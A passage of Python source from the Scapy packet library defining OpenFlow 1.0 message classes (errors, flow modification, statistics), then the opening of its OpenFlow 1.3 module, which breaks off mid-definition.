IntField("vendor", 0)] ofp_action_cls = {0: OFPATOutput, 1: OFPATSetVLANVID, 2: OFPATSetVLANPCP, 3: OFPATStripVLAN, 4: OFPATSetDlSrc, 5: OFPATSetDlDst, 6: OFPATSetNwSrc, 7: OFPATSetNwDst, 8: OFPATSetNwToS, 9: OFPATSetTpSrc, 10: OFPATSetTpDst, 11: OFPATEnqueue, 65535: OFPATVendor} class OFPAT(Packet): @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and len(_pkt) >= 2: t = struct.unpack("!H", _pkt[:2])[0] return ofp_action_cls.get(t, Raw) return Raw def extract_padding(self, s): return b"", s # Queues # ofp_queue_property_types = {0: "OFPQT_NONE", 1: "OFPQT_MIN_RATE"} class OFPQTNone(_ofp_header): name = "OFPQT_NONE" fields_desc = [ShortEnumField("type", 0, ofp_queue_property_types), ShortField("len", 8), XIntField("pad", 0)] class OFPQTMinRate(_ofp_header): name = "OFPQT_MIN_RATE" fields_desc = [ShortEnumField("type", 1, ofp_queue_property_types), ShortField("len", 16), XIntField("pad", 0), ShortField("rate", 0), XBitField("pad2", 0, 48)] ofp_queue_property_cls = {0: OFPQTNone, 1: OFPQTMinRate} class OFPQT(Packet): @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and len(_pkt) >= 2: t = struct.unpack("!H", _pkt[:2])[0] return ofp_queue_property_cls.get(t, Raw) return Raw def extract_padding(self, s): return b"", s class OFPPacketQueue(Packet): name = "OFP_PACKET_QUEUE" fields_desc = [IntField("queue_id", 0), ShortField("len", None), XShortField("pad", 0), PacketListField("properties", [], OFPQT, length_from=lambda pkt:pkt.len - 8)] def extract_padding(self, s): return b"", s def post_build(self, p, pay): if self.properties == []: p += raw(OFPQTNone()) if self.len is None: tmp_len = len(p) + len(pay) p = p[:4] + struct.pack("!H", tmp_len) + p[6:] return p + pay ##################################################### # OpenFlow 1.0 Messages # ##################################################### ofp_version = {0x01: "OpenFlow 1.0", 0x02: "OpenFlow 1.1", 0x03: "OpenFlow 1.2", 0x04: "OpenFlow 1.3", 0x05: "OpenFlow 1.4"} ofp_type = {0: "OFPT_HELLO", 1: "OFPT_ERROR", 2: "OFPT_ECHO_REQUEST", 3: "OFPT_ECHO_REPLY", 4: "OFPT_VENDOR", 5: "OFPT_FEATURES_REQUEST", 6: "OFPT_FEATURES_REPLY", 7: "OFPT_GET_CONFIG_REQUEST", 8: "OFPT_GET_CONFIG_REPLY", 9: "OFPT_SET_CONFIG", 10: "OFPT_PACKET_IN", 11: "OFPT_FLOW_REMOVED", 12: "OFPT_PORT_STATUS", 13: "OFPT_PACKET_OUT", 14: "OFPT_FLOW_MOD", 15: "OFPT_PORT_MOD", 16: "OFPT_STATS_REQUEST", 17: "OFPT_STATS_REPLY", 18: "OFPT_BARRIER_REQUEST", 19: "OFPT_BARRIER_REPLY", 20: "OFPT_QUEUE_GET_CONFIG_REQUEST", 21: "OFPT_QUEUE_GET_CONFIG_REPLY"} class OFPTHello(_ofp_header): name = "OFPT_HELLO" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 0, ofp_type), ShortField("len", None), IntField("xid", 0)] ##################################################### # OFPT_ERROR # ##################################################### # this class will be used to display some messages # sent back by the switch after an error class OFPacketField(PacketField): def getfield(self, pkt, s): try: tmp_len = s[2:4] tmp_len = struct.unpack("!H", tmp_len)[0] ofload = s[:tmp_len] remain = s[tmp_len:] return remain, OpenFlow(ofload) except Exception: return "", Raw(s) ofp_error_type = {0: "OFPET_HELLO_FAILED", 1: "OFPET_BAD_REQUEST", 2: "OFPET_BAD_ACTION", 3: "OFPET_FLOW_MOD_FAILED", 4: "OFPET_PORT_MOD_FAILED", 5: "OFPET_QUEUE_OP_FAILED"} class OFPETHelloFailed(_ofp_header): name = "OFPET_HELLO_FAILED" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 1, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("errtype", 0, ofp_error_type), ShortEnumField("errcode", 0, {0: "OFPHFC_INCOMPATIBLE", 1: "OFPHFC_EPERM"}), OFPacketField("data", "", Raw)] class OFPETBadRequest(_ofp_header): name = "OFPET_BAD_REQUEST" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 1, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("errtype", 1, ofp_error_type), ShortEnumField("errcode", 0, {0: "OFPBRC_BAD_VERSION", 1: "OFPBRC_BAD_TYPE", 2: "OFPBRC_BAD_STAT", 3: "OFPBRC_BAD_VENDOR", 4: "OFPBRC_BAD_SUBTYPE", 5: "OFPBRC_EPERM", 6: "OFPBRC_BAD_LEN", 7: "OFPBRC_BUFFER_EMPTY", 8: "OFPBRC_BUFFER_UNKNOWN"}), OFPacketField("data", "", Raw)] class OFPETBadAction(_ofp_header): name = "OFPET_BAD_ACTION" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 1, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("errtype", 2, ofp_error_type), ShortEnumField("errcode", 0, {0: "OFPBAC_BAD_TYPE", 1: "OFPBAC_BAD_LEN", 2: "OFPBAC_BAD_VENDOR", 3: "OFPBAC_BAD_VENDOR_TYPE", 4: "OFPBAC_BAD_OUT_PORT", 5: "OFPBAC_BAD_ARGUMENT", 6: "OFPBAC_EPERM", 7: "OFPBAC_TOO_MANY", 8: "OFPBAC_BAD_QUEUE"}), OFPacketField("data", "", Raw)] class OFPETFlowModFailed(_ofp_header): name = "OFPET_FLOW_MOD_FAILED" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 1, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("errtype", 3, ofp_error_type), ShortEnumField("errcode", 0, {0: "OFPFMFC_ALL_TABLES_FULL", 1: "OFPFMFC_OVERLAP", 2: "OFPFMFC_EPERM", 3: "OFPFMFC_BAD_EMERG_TIMEOUT", # noqa: E501 4: "OFPFMFC_BAD_COMMAND", 5: "OFPFMFC_UNSUPPORTED"}), OFPacketField("data", "", Raw)] class OFPETPortModFailed(_ofp_header): name = "OFPET_PORT_MOD_FAILED" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 1, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("errtype", 4, ofp_error_type), ShortEnumField("errcode", 0, {0: "OFPPMFC_BAD_PORT", 1: "OFPPMFC_BAD_HW_ADDR"}), OFPacketField("data", "", Raw)] class OFPETQueueOpFailed(_ofp_header): name = "OFPET_QUEUE_OP_FAILED" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 1, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("errtype", 5, ofp_error_type), ShortEnumField("errcode", 0, {0: "OFPQOFC_BAD_PORT", 1: "OFPQOFC_BAD_QUEUE", 2: "OFPQOFC_EPERM"}), OFPacketField("data", "", Raw)] # ofp_error_cls allows generic method OpenFlow() to choose the right class for dissection # noqa: E501 ofp_error_cls = {0: OFPETHelloFailed, 1: OFPETBadRequest, 2: OFPETBadAction, 3: OFPETFlowModFailed, 4: OFPETPortModFailed, 5: OFPETQueueOpFailed} # end of OFPT_ERRORS # class OFPTEchoRequest(_ofp_header): name = "OFPT_ECHO_REQUEST" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 2, ofp_type), ShortField("len", None), IntField("xid", 0)] class OFPTEchoReply(_ofp_header): name = "OFPT_ECHO_REPLY" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 3, ofp_type), ShortField("len", None), IntField("xid", 0)] class OFPTVendor(_ofp_header): name = "OFPT_VENDOR" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 4, ofp_type), ShortField("len", None), IntField("xid", 0), IntField("vendor", 0)] class OFPTFeaturesRequest(_ofp_header): name = "OFPT_FEATURES_REQUEST" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 5, ofp_type), ShortField("len", None), IntField("xid", 0)] ofp_action_types_flags = [v for v in six.itervalues(ofp_action_types) if v != 'OFPAT_VENDOR'] class OFPTFeaturesReply(_ofp_header): name = "OFPT_FEATURES_REPLY" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 6, ofp_type), ShortField("len", None), IntField("xid", 0), LongField("datapath_id", 0), IntField("n_buffers", 0), ByteField("n_tables", 1), X3BytesField("pad", 0), FlagsField("capabilities", 0, 32, ["FLOW_STATS", "TABLE_STATS", "PORT_STATS", "STP", "RESERVED", "IP_REASM", "QUEUE_STATS", "ARP_MATCH_IP"]), FlagsField("actions", 0, 32, ofp_action_types_flags), PacketListField("ports", [], OFPPhyPort, length_from=lambda pkt:pkt.len - 32)] class OFPTGetConfigRequest(_ofp_header): name = "OFPT_GET_CONFIG_REQUEST" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 7, ofp_type), ShortField("len", None), IntField("xid", 0)] class OFPTGetConfigReply(_ofp_header): name = "OFPT_GET_CONFIG_REPLY" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 8, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("flags", 0, {0: "FRAG_NORMAL", 1: "FRAG_DROP", 2: "FRAG_REASM", 3: "FRAG_MASK"}), ShortField("miss_send_len", 0)] class OFPTSetConfig(_ofp_header): name = "OFPT_SET_CONFIG" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 9, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("flags", 0, {0: "FRAG_NORMAL", 1: "FRAG_DROP", 2: "FRAG_REASM", 3: "FRAG_MASK"}), ShortField("miss_send_len", 128)] class OFPTPacketIn(_ofp_header): name = "OFPT_PACKET_IN" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 10, ofp_type), ShortField("len", None), IntField("xid", 0), IntEnumField("buffer_id", "NO_BUFFER", ofp_buffer), ShortField("total_len", 0), ShortEnumField("in_port", 0, ofp_port_no), ByteEnumField("reason", 0, {0: "OFPR_NO_MATCH", 1: "OFPR_ACTION"}), XByteField("pad", 0), PacketField("data", None, Ether)] class OFPTFlowRemoved(_ofp_header): name = "OFPT_FLOW_REMOVED" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 11, ofp_type), ShortField("len", None), IntField("xid", 0), PacketField("match", OFPMatch(), OFPMatch), LongField("cookie", 0), ShortField("priority", 0), ByteEnumField("reason", 0, {0: "OFPRR_IDLE_TIMEOUT", 1: "OFPRR_HARD_TIMEOUT", 2: "OFPRR_DELETE"}), XByteField("pad1", 0), IntField("duration_sec", 0), IntField("duration_nsec", 0), ShortField("idle_timeout", 0), XShortField("pad2", 0), LongField("packet_count", 0), LongField("byte_count", 0)] class OFPTPortStatus(_ofp_header): name = "OFPT_PORT_STATUS" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 12, ofp_type), ShortField("len", None), IntField("xid", 0), ByteEnumField("reason", 0, {0: "OFPPR_ADD", 1: "OFPPR_DELETE", 2: "OFPPR_MODIFY"}), XBitField("pad", 0, 56), PacketField("desc", OFPPhyPort(), OFPPhyPort)] class OFPTPacketOut(_ofp_header): name = "OFPT_PACKET_OUT" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 13, ofp_type), ShortField("len", None), IntField("xid", 0), IntEnumField("buffer_id", "NO_BUFFER", ofp_buffer), ShortEnumField("in_port", "NONE", ofp_port_no), FieldLenField("actions_len", None, fmt="H", length_of="actions"), # noqa: E501 PacketListField("actions", [], OFPAT, ofp_action_cls, length_from=lambda pkt:pkt.actions_len), # noqa: E501 PacketField("data", None, Ether)] class OFPTFlowMod(_ofp_header): name = "OFPT_FLOW_MOD" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 14, ofp_type), ShortField("len", None), IntField("xid", 0), PacketField("match", OFPMatch(), OFPMatch), LongField("cookie", 0), ShortEnumField("cmd", 0, {0: "OFPFC_ADD", 1: "OFPFC_MODIFY", 2: "OFPFC_MODIFY_STRICT", 3: "OFPFC_DELETE", 4: "OFPFC_DELETE_STRICT"}), ShortField("idle_timeout", 0), ShortField("hard_timeout", 0), ShortField("priority", 0), IntEnumField("buffer_id", "NO_BUFFER", ofp_buffer), ShortEnumField("out_port", "NONE", ofp_port_no), FlagsField("flags", 0, 16, ["SEND_FLOW_REM", "CHECK_OVERLAP", "EMERG"]), PacketListField("actions", [], OFPAT, ofp_action_cls, length_from=lambda pkt:pkt.len - 72)] class OFPTPortMod(_ofp_header): name = "OFPT_PORT_MOD" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 15, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("port_no", 0, ofp_port_no), MACField("hw_addr", "0"), FlagsField("config", 0, 32, ofp_port_config), FlagsField("mask", 0, 32, ofp_port_config), FlagsField("advertise", 0, 32, ofp_port_features), IntField("pad", 0)] ##################################################### # OFPT_STATS # ##################################################### ofp_stats_types = {0: "OFPST_DESC", 1: "OFPST_FLOW", 2: "OFPST_AGGREGATE", 3: "OFPST_TABLE", 4: "OFPST_PORT", 5: "OFPST_QUEUE", 65535: "OFPST_VENDOR"} class OFPTStatsRequestDesc(_ofp_header): name = "OFPST_STATS_REQUEST_DESC" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 16, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("stats_type", 0, ofp_stats_types), FlagsField("flags", 0, 16, [])] class OFPTStatsReplyDesc(_ofp_header): name = "OFPST_STATS_REPLY_DESC" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 17, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("stats_type", 0, ofp_stats_types), FlagsField("flags", 0, 16, []), StrFixedLenField("mfr_desc", "", 256), StrFixedLenField("hw_desc", "", 256), StrFixedLenField("sw_desc", "", 256), StrFixedLenField("serial_num", "", 32), StrFixedLenField("dp_desc", "", 256)] class OFPTStatsRequestFlow(_ofp_header): name = "OFPST_STATS_REQUEST_FLOW" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 16, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("stats_type", 1, ofp_stats_types), FlagsField("flags", 0, 16, []), PacketField("match", OFPMatch(), OFPMatch), ByteEnumField("table_id", "ALL", ofp_table), ByteField("pad", 0), ShortEnumField("out_port", "NONE", ofp_port_no)] class OFPFlowStats(Packet): name = "OFP_FLOW_STATS" fields_desc = [ShortField("length", None), ByteField("table_id", 0), XByteField("pad1", 0), PacketField("match", OFPMatch(), OFPMatch), IntField("duration_sec", 0), IntField("duration_nsec", 0), ShortField("priority", 0), ShortField("idle_timeout", 0), ShortField("hard_timeout", 0), XBitField("pad2", 0, 48), LongField("cookie", 0), LongField("packet_count", 0), LongField("byte_count", 0), PacketListField("actions", [], OFPAT, ofp_action_cls, length_from=lambda pkt:pkt.length - 88)] def post_build(self, p, pay): if self.length is None: tmp_len = len(p) + len(pay) p = struct.pack("!H", tmp_len) + p[2:] return p + pay def extract_padding(self, s): return b"", s class OFPTStatsReplyFlow(_ofp_header): name = "OFPST_STATS_REPLY_FLOW" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 17, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("stats_type", 1, ofp_stats_types), FlagsField("flags", 0, 16, []), PacketListField("flow_stats", [], OFPFlowStats, length_from=lambda pkt:pkt.len - 12)] # noqa: E501 class OFPTStatsRequestAggregate(OFPTStatsRequestFlow): name = "OFPST_STATS_REQUEST_AGGREGATE" stats_type = 2 class OFPTStatsReplyAggregate(_ofp_header): name = "OFPST_STATS_REPLY_AGGREGATE" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 17, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("stats_type", 2, ofp_stats_types), FlagsField("flags", 0, 16, []), LongField("packet_count", 0), LongField("byte_count", 0), IntField("flow_count", 0), XIntField("pad", 0)] class OFPTStatsRequestTable(_ofp_header): name = "OFPST_STATS_REQUEST_TABLE" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 16, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("stats_type", 3, ofp_stats_types), FlagsField("flags", 0, 16, [])] class OFPTableStats(Packet): def extract_padding(self, s): return b"", s name = "OFP_TABLE_STATS" fields_desc = [ByteField("table_id", 0), X3BytesField("pad", 0), StrFixedLenField("name", "", 32), FlagsField("wildcards1", 0x003, 12, ["DL_VLAN_PCP", "NW_TOS"]), BitField("nw_dst_mask", 63, 6), # 32 would be enough BitField("nw_src_mask", 63, 6), FlagsField("wildcards2", 0xff, 8, ["IN_PORT", "DL_VLAN", "DL_SRC", "DL_DST", "DL_TYPE", "NW_PROTO", "TP_SRC", "TP_DST"]), IntField("max_entries", 0), IntField("active_count", 0), LongField("lookup_count", 0), LongField("matched_count", 0)] class OFPTStatsReplyTable(_ofp_header): name = "OFPST_STATS_REPLY_TABLE" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 17, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("stats_type", 3, ofp_stats_types), FlagsField("flags", 0, 16, []), PacketListField("table_stats", [], OFPTableStats, length_from=lambda pkt:pkt.len - 12)] class OFPTStatsRequestPort(_ofp_header): name = "OFPST_STATS_REQUEST_PORT" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 16, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("stats_type", 4, ofp_stats_types), FlagsField("flags", 0, 16, []), ShortEnumField("port_no", "NONE", ofp_port_no), XBitField("pad", 0, 48)] class OFPPortStats(Packet): def extract_padding(self, s): return b"", s name = "OFP_PORT_STATS" fields_desc = [ShortEnumField("port_no", 0, ofp_port_no), XBitField("pad", 0, 48), LongField("rx_packets", 0), LongField("tx_packets", 0), LongField("rx_bytes", 0), LongField("tx_bytes", 0), LongField("rx_dropped", 0), LongField("tx_dropped", 0), LongField("rx_errors", 0), LongField("tx_errors", 0), LongField("rx_frame_err", 0), LongField("rx_over_err", 0), LongField("rx_crc_err", 0), LongField("collisions", 0)] class OFPTStatsReplyPort(_ofp_header): name = "OFPST_STATS_REPLY_TABLE" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 17, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("stats_type", 4, ofp_stats_types), FlagsField("flags", 0, 16, []), PacketListField("port_stats", [], OFPPortStats, length_from=lambda pkt:pkt.len - 12)] class OFPTStatsRequestQueue(_ofp_header): name = "OFPST_STATS_REQUEST_QUEUE" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 16, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("stats_type", 5, ofp_stats_types), FlagsField("flags", 0, 16, []), ShortEnumField("port_no", "NONE", ofp_port_no), XShortField("pad", 0), IntEnumField("queue_id", "ALL", ofp_queue)] class OFPTStatsReplyQueue(_ofp_header): name = "OFPST_STATS_REPLY_QUEUE" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 17, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("stats_type", 5, ofp_stats_types), FlagsField("flags", 0, 16, []), ShortEnumField("port_no", "NONE", ofp_port_no), XShortField("pad", 0), IntEnumField("queue_id", "ALL", ofp_queue), LongField("tx_bytes", 0), LongField("tx_packets", 0), LongField("tx_errors", 0)] class OFPTStatsRequestVendor(_ofp_header): name = "OFPST_STATS_REQUEST_VENDOR" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 16, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("stats_type", 6, ofp_stats_types), FlagsField("flags", 0, 16, []), IntField("vendor", 0)] class OFPTStatsReplyVendor(_ofp_header): name = "OFPST_STATS_REPLY_VENDOR" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 17, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("stats_type", 6, ofp_stats_types), FlagsField("flags", 0, 16, []), IntField("vendor", 0)] # ofp_stats_request/reply_cls allows generic method OpenFlow() (end of script) # to choose the right class for dissection ofp_stats_request_cls = {0: OFPTStatsRequestDesc, 1: OFPTStatsRequestFlow, 2: OFPTStatsRequestAggregate, 3: OFPTStatsRequestTable, 4: OFPTStatsRequestPort, 5: OFPTStatsRequestQueue, 65535: OFPTStatsRequestVendor} ofp_stats_reply_cls = {0: OFPTStatsReplyDesc, 1: OFPTStatsReplyFlow, 2: OFPTStatsReplyAggregate, 3: OFPTStatsReplyTable, 4: OFPTStatsReplyPort, 5: OFPTStatsReplyQueue, 65535: OFPTStatsReplyVendor} # end of OFPT_STATS # class OFPTBarrierRequest(_ofp_header): name = "OFPT_BARRIER_REQUEST" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 18, ofp_type), ShortField("len", None), IntField("xid", 0)] class OFPTBarrierReply(_ofp_header): name = "OFPT_BARRIER_REPLY" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 19, ofp_type), ShortField("len", None), IntField("xid", 0)] class OFPTQueueGetConfigRequest(_ofp_header): name = "OFPT_QUEUE_GET_CONFIG_REQUEST" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 20, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("port", 0, ofp_port_no), XShortField("pad", 0)] class OFPTQueueGetConfigReply(_ofp_header): name = "OFPT_QUEUE_GET_CONFIG_REPLY" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 21, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("port", 0, ofp_port_no), XBitField("pad", 0, 48), PacketListField("queues", [], OFPPacketQueue, length_from=lambda pkt:pkt.len - 16)] # ofpt_cls allows generic method OpenFlow() to choose the right class for dissection # noqa: E501 ofpt_cls = {0: OFPTHello, # 1: OFPTError, 2: OFPTEchoRequest, 3: OFPTEchoReply, 4: OFPTVendor, 5: OFPTFeaturesRequest, 6: OFPTFeaturesReply, 7: OFPTGetConfigRequest, 8: OFPTGetConfigReply, 9: OFPTSetConfig, 10: OFPTPacketIn, 11: OFPTFlowRemoved, 12: OFPTPortStatus, 13: OFPTPacketOut, 14: OFPTFlowMod, 15: OFPTPortMod, # 16: OFPTStatsRequest, # 17: OFPTStatsReply, 18: OFPTBarrierRequest, 19: OFPTBarrierReply, 20: OFPTQueueGetConfigRequest, 21: OFPTQueueGetConfigReply} bind_bottom_up(TCP, OpenFlow, dport=6653) bind_bottom_up(TCP, OpenFlow, sport=6653) bind_bottom_up(TCP, OpenFlow, dport=6633) bind_bottom_up(TCP, OpenFlow, sport=6633) bind_top_down(TCP, _ofp_header, sport=6653, dport=6653) scapy-2.4.4/scapy/contrib/openflow3.py000077500000000000000000003612201372370053500177210ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license # Copyright (C) 2014 Maxence Tury # OpenFlow is an open standard used in SDN deployments. # Based on OpenFlow v1.3.4 # Specifications can be retrieved from https://www.opennetworking.org/ # scapy.contrib.description = OpenFlow v1.3 # scapy.contrib.status = loads from __future__ import absolute_import import copy import struct from scapy.compat import orb, raw from scapy.config import conf from scapy.fields import BitEnumField, BitField, ByteEnumField, ByteField, \ FieldLenField, FlagsField, IntEnumField, IntField, IPField, \ LongField, MACField, PacketField, PacketListField, ShortEnumField, \ ShortField, StrFixedLenField, X3BytesField, XBitField, XByteField, \ XIntField, XShortField, PacketLenField from scapy.layers.l2 import Ether from scapy.packet import Packet, Padding, Raw from scapy.modules import six from scapy.contrib.openflow import _ofp_header, _ofp_header_item, \ OFPacketField, OpenFlow, _UnknownOpenFlow ##################################################### # Predefined values # ##################################################### ofp_port_no = {0xfffffff8: "IN_PORT", 0xfffffff9: "TABLE", 0xfffffffa: "NORMAL", 0xfffffffb: "FLOOD", 0xfffffffc: "ALL", 0xfffffffd: "CONTROLLER", 0xfffffffe: "LOCAL", 0xffffffff: "ANY"} ofp_group = {0xffffff00: "MAX", 0xfffffffc: "ALL", 0xffffffff: "ANY"} ofp_table = {0xfe: "MAX", 0xff: "ALL"} ofp_queue = {0xffffffff: "ALL"} ofp_meter = {0xffff0000: "MAX", 0xfffffffd: "SLOWPATH", 0xfffffffe: "CONTROLLER", 0xffffffff: "ALL"} ofp_buffer = {0xffffffff: "NO_BUFFER"} ofp_max_len = {0xffff: "NO_BUFFER"} ##################################################### # Common structures # ##################################################### # The following structures will be used in different types # of OpenFlow messages: ports, matches/OXMs, actions, # instructions, buckets, queues, meter bands. # Hello elements # ofp_hello_elem_types = {1: "OFPHET_VERSIONBITMAP"} class OFPHET(_ofp_header): @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and len(_pkt) >= 2: t = struct.unpack("!H", _pkt[:2])[0] return ofp_hello_elem_cls.get(t, Raw) return Raw def extract_padding(self, s): return b"", s class OFPHETVersionBitmap(_ofp_header): name = "OFPHET_VERSIONBITMAP" fields_desc = [ShortEnumField("type", 1, ofp_hello_elem_types), ShortField("len", 8), FlagsField("bitmap", 0, 32, ["Type 0", "OFv1.0", "OFv1.1", "OFv1.2", "OFv1.3", "OFv1.4", "OFv1.5"])] ofp_hello_elem_cls = {1: OFPHETVersionBitmap} # Ports # ofp_port_config = ["PORT_DOWN", "NO_STP", # undefined in v1.3 "NO_RECV", "NO_RECV_STP", # undefined in v1.3 "NO_FLOOD", # undefined in v1.3 "NO_FWD", "NO_PACKET_IN"] ofp_port_state = ["LINK_DOWN", "BLOCKED", "LIVE"] ofp_port_features = ["10MB_HD", "10MB_FD", "100MB_HD", "100MB_FD", "1GB_HD", "1GB_FD", "10GB_FD", "40GB_FD", "100GB_FD", "1TB_FD", "OTHER", "COPPER", "FIBER", "AUTONEG", "PAUSE", "PAUSE_ASYM"] class OFPPort(Packet): name = "OFP_PHY_PORT" fields_desc = [IntEnumField("port_no", 0, ofp_port_no), XIntField("pad1", 0), MACField("hw_addr", "0"), XShortField("pad2", 0), StrFixedLenField("port_name", "", 16), FlagsField("config", 0, 32, ofp_port_config), FlagsField("state", 0, 32, ofp_port_state), FlagsField("curr", 0, 32, ofp_port_features), FlagsField("advertised", 0, 32, ofp_port_features), FlagsField("supported", 0, 32, ofp_port_features), FlagsField("peer", 0, 32, ofp_port_features), IntField("curr_speed", 0), IntField("max_speed", 0)] def extract_padding(self, s): return b"", s # Matches & OXMs # ofp_oxm_classes = {0: "OFPXMC_NXM_0", 1: "OFPXMC_NXM_1", 0x8000: "OFPXMC_OPENFLOW_BASIC", 0xffff: "OFPXMC_EXPERIMENTER"} ofp_oxm_names = {0: "OFB_IN_PORT", 1: "OFB_IN_PHY_PORT", 2: "OFB_METADATA", 3: "OFB_ETH_DST", 4: "OFB_ETH_SRC", 5: "OFB_ETH_TYPE", 6: "OFB_VLAN_VID", 7: "OFB_VLAN_PCP", 8: "OFB_IP_DSCP", 9: "OFB_IP_ECN", 10: "OFB_IP_PROTO", 11: "OFB_IPV4_SRC", 12: "OFB_IPV4_DST", 13: "OFB_TCP_SRC", 14: "OFB_TCP_DST", 15: "OFB_UDP_SRC", 16: "OFB_UDP_DST", 17: "OFB_SCTP_SRC", 18: "OFB_SCTP_DST", 19: "OFB_ICMPV4_TYPE", 20: "OFB_ICMPV4_CODE", 21: "OFB_ARP_OP", 22: "OFB_ARP_SPA", 23: "OFB_ARP_TPA", 24: "OFB_ARP_SHA", 25: "OFB_ARP_THA", 26: "OFB_IPV6_SRC", 27: "OFB_IPV6_DST", 28: "OFB_IPV6_FLABEL", 29: "OFB_ICMPV6_TYPE", 30: "OFB_ICMPV6_CODE", 31: "OFB_IPV6_ND_TARGET", 32: "OFB_IPV6_ND_SLL", 33: "OFB_IPV6_ND_TLL", 34: "OFB_MPLS_LABEL", 35: "OFB_MPLS_TC", 36: "OFB_MPLS_BOS", 37: "OFB_PBB_ISID", 38: "OFB_TUNNEL_ID", 39: "OFB_IPV6_EXTHDR"} ofp_oxm_constr = {0: ["OFBInPort", "in_port", 4], 1: ["OFBInPhyPort", "in_phy_port", 4], 2: ["OFBMetadata", "metadata", 8], 3: ["OFBEthDst", "eth_dst", 6], 4: ["OFBEthSrc", "eth_src", 6], 5: ["OFBEthType", "eth_type", 2], 6: ["OFBVLANVID", "vlan_vid", 2], 7: ["OFBVLANPCP", "vlan_pcp", 1], 8: ["OFBIPDSCP", "ip_dscp", 1], 9: ["OFBIPECN", "ip_ecn", 1], 10: ["OFBIPProto", "ip_proto", 1], 11: ["OFBIPv4Src", "ipv4_src", 4], 12: ["OFBIPv4Dst", "ipv4_dst", 4], 13: ["OFBTCPSrc", "tcp_src", 2], 14: ["OFBTCPDst", "tcp_dst", 2], 15: ["OFBUDPSrc", "udp_src", 2], 16: ["OFBUDPDst", "udp_dst", 2], 17: ["OFBSCTPSrc", "sctp_src", 2], 18: ["OFBSCTPDst", "sctp_dst", 2], 19: ["OFBICMPv4Type", "icmpv4_type", 1], 20: ["OFBICMPv4Code", "icmpv4_code", 1], 21: ["OFBARPOP", "arp_op", 2], 22: ["OFBARPSPA", "arp_spa", 4], 23: ["OFBARPTPA", "arp_tpa", 4], 24: ["OFBARPSHA", "arp_sha", 6], 25: ["OFBARPTHA", "arp_tha", 6], 26: ["OFBIPv6Src", 